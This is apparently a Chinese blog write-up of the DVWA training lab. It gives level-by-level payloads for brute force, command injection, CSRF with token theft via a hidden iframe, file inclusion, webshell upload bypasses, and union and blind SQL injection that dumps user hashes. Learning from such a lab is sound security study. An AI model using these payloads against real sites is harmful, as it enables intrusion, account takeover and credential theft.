DVWA通关

DVWA靶场的写题记录

Posted by Sprint#51264 on November 23, 2020

引言

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

BRUTE FORCE

本模块测试皆基于用户名已知的情况 * low


源码分析

 [![DwEel6.jpg](https://s3.ax1x.com/2020/11/26/DwEel6.jpg)](https://imgchr.com/i/DwEel6)

对用户名密码没有任何过滤限制,直接使用burpsuite sniper模式进行单参数爆破

[![DwAjWq.jpg](https://s3.ax1x.com/2020/11/26/DwAjWq.jpg)](https://imgchr.com/i/DwAjWq)
  • medium

    源码分析

    Dsr5Lj.jpg

    相比Low级别的代码,Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,”,x1a)进行转义,基本上能够抵御sql注入攻击,说基本上是因为查到说 MySQL5.5.37以下版本如果设置编码为GBK,能够构造编码绕过mysql_real_escape_string 对单引号的转义(因实验环境的MySQL版本较新,所以并未做相应验证);同时,$pass做了MD5校验,杜绝了通过参数password进行sql注入的可能性。但是,依然没有加入有效的防爆破机制。

    唯一比较难顶的就是sleep(2)函数,每次错误输入页面要顿两秒,所以说只要有耐心,对当前页面进行爆破个一百年密码也就有了。

  • high

    源码分析

    相比medium级别多了token值验证,每次服务器都会传回一个随机的token值来验证用户身份,也就是说每次输入都要求传回正确的token值。

    抓包,发到intruder模块设置密码和token值两处爆破点

    Ds21sO.jpg

    设置模式为pitchfork,一对一多次爆破,一个密码对应一个token值

    设置线程一定为1,要等一次传输,一次返回,token值才能正确

    获取token值

    DsRlhn.jpg

    在token参数处设置第一次值为页面最初传回的token值(抓包抓到的)

    DsRtnU.jpg

    DsRD91.jpg

    然后开始爆破就可以了

  • impossible

    Impossible级别的代码加入了可靠的防爆破机制,当检测到频繁的错误登录后,系统会将账户锁定,爆破也就无法继续。

    同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这是因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。

    部分参考内容

Command Injection

  • 引子

      管道符
      &&:代表首先执行命令a在执行命令b,但是前提条件是命令a执行正确才会执行命令b,在a执行失败的情况下不会执行b命令。所以又被称为短路运算符。
    
      &:代表首先执行命令a在执行命令b,如果a执行失败,还是会继续执行命令b。也就是说命令b的执行不会受到命令a的干扰,在执行效率上来说“&&”更加高效。
    
      ||:代表首先执行a命令在执行b命令,如果a命令执行成功,就不会执行b命令,相反,如果a命令执行不成功,就会执行b命令。
    
      |:代表首先执行a命令,在执行b命令,不管a命令成功与否,都会去执行b命令。
    
  • low

    源码分析

    Ds4ZCj.jpg

    没有对管道符进行过滤

    直接拼接其他命令进行执行

    127.0.0.1&&dir

  • medium

    源码分析

    Ds5VeK.jpg

    可以看到页面把&& 还有; 过滤掉了,但是问题不大

    aksjdh & dir

    不管前命令成功与否都会执行之后的命令

    或者asda | dir

  • high

    Ds7DCF.jpg

    觉得这实在不算是什么防护措施,完全是疏漏导致的漏洞,在过滤 时多加了一个空格,致使直接用 不加空格也可以执行命令…

CSRF

  • 引子

      跨站请求伪造
    
      是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
    
  • low

      $GLOBALS :引用全局作用域中可用的全部变量。$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。
    

    DsLMrj.jpg

    看看页面源码,

      从源代码可以看出这里只是对用户输入的两个密码进行判断,看是否相等。不相等就提示密码不匹配。
    
      相等的话,查看有没有设置数据库连接的全局变量和其是否为一个对象。如果是的话,用mysqli_real_escape_string()函数去转义一些字符,如果不是的话输出错误。
    
      是同一个对象的话,再用md5进行加密,再更新数据库。
    
  • medium

    DsxUbQ.jpg

      发现其源码会检查http头中的referer字段,查看其是否包含有服务器主机名,以此检验该请求不是跨站,由于dvwa时部署在本地主机上的,那么主机名就是localhost或者127.0.0.1,我们可以上传一个名为二者之一的文件,将文件伪造成想要的页面,当受害者点击该页面可以运行其中的脚本,并显示攻击者想要的页面,展现攻击效果
    
  • high

    DOptVP.jpg

      源码分析,这次加入了token值验证机制,如果网站存在xss漏洞,可以结合xss来获取token值进行攻击。
    
      下面是获取token值代码
    
      <script type="text/javascript">
     
      function attack()
        
      {
        
      document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
        
      document.getElementById("transfer").submit(); 
        
      }
        
      </script>
        
      <iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
        
      </iframe>
        
      <body onload="attack()">
        
      <form method="GET" id="transfer" action="http://169.254.36.73/DVWA-master/vulnerabilities/csrf/">
        
      <input type="hidden" name="password_new" value="password">
        
          <input type="hidden" name="password_conf" value="password">
        
      <input type="hidden" name="user_token" value="">
        
      <input type="hidden" name="Change" value="Change">
        
      </form>
        
      </body>
    

    源码来自 DVWA之CSRF攻击(Low&medium&High)

File Inclusion

    常用的文件包含函数
    1.include()
    2.include_once()
    3.require()
    4.require_once()
    5.file_open() 
  • low

      先看一下源码
    

    DjPcI1.jpg

      页面中要求传入一个page参数,发现点击哪个文档page就调用哪个文档,那么我们可以向服务器上传一个shell的文件,并调用它
    

    这里利用文件上传漏洞结合讲解

      先利用文件上传传一个显示php信息的jpg格式文件
    
      <?php 
      phpinfo();
      ?>
    
      改变url为:
    
      http://localhost/vulnerabilities/fi/?page=../../hackable/uploads/shell.jpg
    
      由于服务器搭在本地也好知道文件绝对路径,所以好引用
    
      发现调用成功,原因在于页面对page没有任何过滤,那么同理就可以把其他jpg文件解析为php文件,可以上传有getshell代码的文件,然后引用成功。
    
  • medium

      同理像low一样对其进行引用
    

    Djk5sU.jpg

      但是发现页面中显示了错误信息,显然路径中的../被删除了,试试绝对路径
    
      http://localhost/vulnerabilities/fi/?page=http://localhost/hackable/uploads/shell.jpg
    
      发现http://被删掉了,试了试双写,没有用,试了试大小写混写,发现可以
    
      源码分析
    

    DjA6OO.jpg

      发现就是删除http://,https://还有../和..\。
    
      绕过方式应该是双写或者大小写,但是这里双写出问题了
    
      [![DjAo1P.jpg](https://s3.ax1x.com/2020/12/06/DjAo1P.jpg)](https://imgchr.com/i/DjAo1P)
    
  • high

      直接同上的话会出错误页面,但是不给错误信息
    

    DjVC8I.jpg

      猜老半天
      没有任何错误信息,还是先看一下源码吧
    

    DjVZVg.jpg

     用到了一个fnmatch函数
    

    fnmatch ( string $pattern , string $string [, int $flags = 0 ] ) : bool fnmatch() 检查传入的 string 是否匹配给出的 shell 统配符 pattern。

      也就是说要检查文件名是否以file开头或者名为include.php,那么我们可以用php中file伪协议来包含本地文件绕过,
    
      http://localhost/vulnerabilities/fi/?page=file://D:\Tools\Labtool\PHPstudy\phpstudy_pro\WWW\hackable\uploads\shell.jpg
    
      成功
    

File Upload

  • low

      直接上传shell.php,直接成功
    
      源码分析
    

    Dje3EF.jpg

      没过滤,都没有前端验证,上传到指定位置,菜刀连接
    
  • medium

      源码分析
    

    DjewDK.jpg

      这次加了前端验证后缀验证,利用bp抓包改包就可以了,
      上传正确后缀的getshell文件,bp改后缀为php,即可上传成功
    

    DjerUe.jpg

      访问一下
    

    DjeXrV.jpg

      同理传小马,菜刀连接一下
    
  • high

      源码分析   [![Dj0C7D.jpg](https://s3.ax1x.com/2020/12/06/Dj0C7D.jpg)](https://imgchr.com/i/Dj0C7D)
    

    Dj089s.jpg

      strrpos(string,find,start)函数返回字符串find在另一字符串string中最后一次出现的位置,如果没有找到字符串则返回false,可选参数start规定在何处开始搜索。
    
      getimagesize(string filename)函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”*.jpg”、”*.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。
    
      采用00截断,php版本小于5.3.4
    
      所以可以采用图片马,菜刀连接
    

SQL Injection

  • high

      先猜解是什么类型的注入,单引号加永真式方法
    
      payload:
    
      -1' or '1'=1'
    

    DzV0nx.jpg

      可以正常显示,表示为字符型
    
      判断显示位
    
      payload:
    
      -1' order by 2 #正常显示
      -1' order by 3 #显示错误
    
      所以显示位为两位
    
      进行爆库:
      -1' union select 1,database() #
    

    DzZ02j.jpg

      爆表:
      -1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
    

    DzeSsI.jpg

      爆字段:
      -1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
    

    Dzemyn.jpg

      获取列表:
          -1' union select 1,group_concat(0x7c,user,0x7e,password,0x7c) from users #
    
          或者-1' union select user,password from users #
    

    DzetyR.jpg

      获取到的密码是经过MD5加密的
    

    源码分析:

    DzeBFO.jpg

    发现没有任何过滤,完全信任用户输入的内容,限制显示条数…没什么用

    做完了才发现原来这是high级别的…

  • medium

      发现这次查询改用了下拉菜单选项
    

    DzfVyT.jpg

      不能直接进行输入了,只能使用已经给出的数值
    
      但是可以抓包来看一下传输的数据
    

    DzfZOU.jpg

      看到页面是通过传输id这个参数来控制查询的,就可以以这个id为注入点进行注入,用bp转发器模块(repeater),修改参数
    
    
      1.先单引号测试类型,但是单引号被转义了
    

    Dzf8l6.jpg

      2.构造永真,得出为数字型
    
      id=1 or 1=1
    

    Dzf0fI.jpg

      3.爆库
    
      0 union select 1,database() #
    

    DzfOAJ.jpg

      4.爆表
      单引号被转义,采用十六进制绕过(存疑)
    
      id=0 union select 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
    

    Dz7t29.jpg

      5.终了
      0 union select user,password from users #
    

    DzHPz9.jpg

    源码分析:

    DzH1sI.jpg

      id传参,mysqli_real_escape_string()函数
    

    编码的字符是 NUL(ASCII 0)、\n、\r、\、’、” 和 Control-Z。

      数字型查询语句
    
  • low

      由难到易,按照之前的思路来做,
    
      1.测试类型
      2.order by查显示位
      3.爆库报表爆字段
      4.select 所有
    

SQL Injection(Blind)

  • low

    markdown中表格语法,冒号代表对齐方式

      盲注只有对与错两个结果,所以进行测试   ***   |猜解次数|payload|结果|   |:-----:|:-----:|:----:|   |1|1' #|exists|   |2|-1' or '1'='1|exists|   |结果|字符型|√|
    

    猜解次数 payload 结果
    1 1’ and length(database())>10 # missing
    2 1’ and length(database())>5 # missing
    3 1’ and lengtj(database())>3 # exists
    结果 数据库名长度为4

    猜表名

    猜解次数 payload 结果
    1 1’ and left(database(),1)>’a’ # exists
    2 1’ and left(database(),1)>’f’ # missing
       
    n 1’ and left(database(),2)>’da’ # exists
       
    N 1’ and database()=’dvwa’ # exists
    结果 dvwa

    猜表个数

    猜解次数 payload 结果
    1 1’ and (select count(table_name) from information_schema.tables where table_schema=database())>10 # missing
    2 1’ and (select count(table_name) from information_schema.tables where table_schema=database())>5 # missing
    3 1’ and (select count(table_name) from information_schema.tables where table_schema=database())>2 # missing
    4 1’ and (select count(table_name) from information_schema.tables where table_schema=database())>1 # exists
    5 1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2 # exists
    结果 2

    猜表长

    猜解次数 payload 结果
    n 1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9 # exists
    2n 1’ and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5 # exists
    结果 长度分别为9和5

    猜表名

    猜解次数 payload 结果
    1 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 # exists
    2 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 # exists
    3 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>110 # missing
    ….    
    n 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # exists
    N 1’ and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),9)=’guestbook’ # exists
    2N 1’ and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),5)=’users’ # exists
    结果 guestbook,users

    猜解字段数

    猜解次数 payload 结果
    1 1’ and (select count(column_name) from information_schema.columns where table_name=’users’)>3 # exists
    2 1’ and (select count(column_name) from information_schema.columns where table_name=’users’)>9 # missing
    3 1’ and (select count(column_name) from information_schema.columns where table_name=’users’)>5 # exists
    4 1’ and (select count(column_name) from information_schema.columns where table_name=’users’)>7 # exists
    5 1’ and (select count(column_name) from information_schema.columns where table_name=’users’)=8 # exists
    结果 8个字段

    猜解名

      省略
    
      用户名密码都要自己手动猜解出来,还是MD5加密的密码,就不再复述,太多了
    
    • 源码分析

    r91nhR.jpg

    get,直接引用

  • medium

      这个盲注的medium和非盲注的medium简直一模一样,唯一不同的就是这题得猜,得经过一个漫长的过程,基本思路就和low一样,需要通过bp抓包改包,注意mysqli_real_escape_string()函数
    
  • high

      系统加了随机的sleep()函数,注错会等待,如果使用基于时间的盲注容易产生干扰,所以考虑布尔盲注,一样的思路,不再赘述。
    

#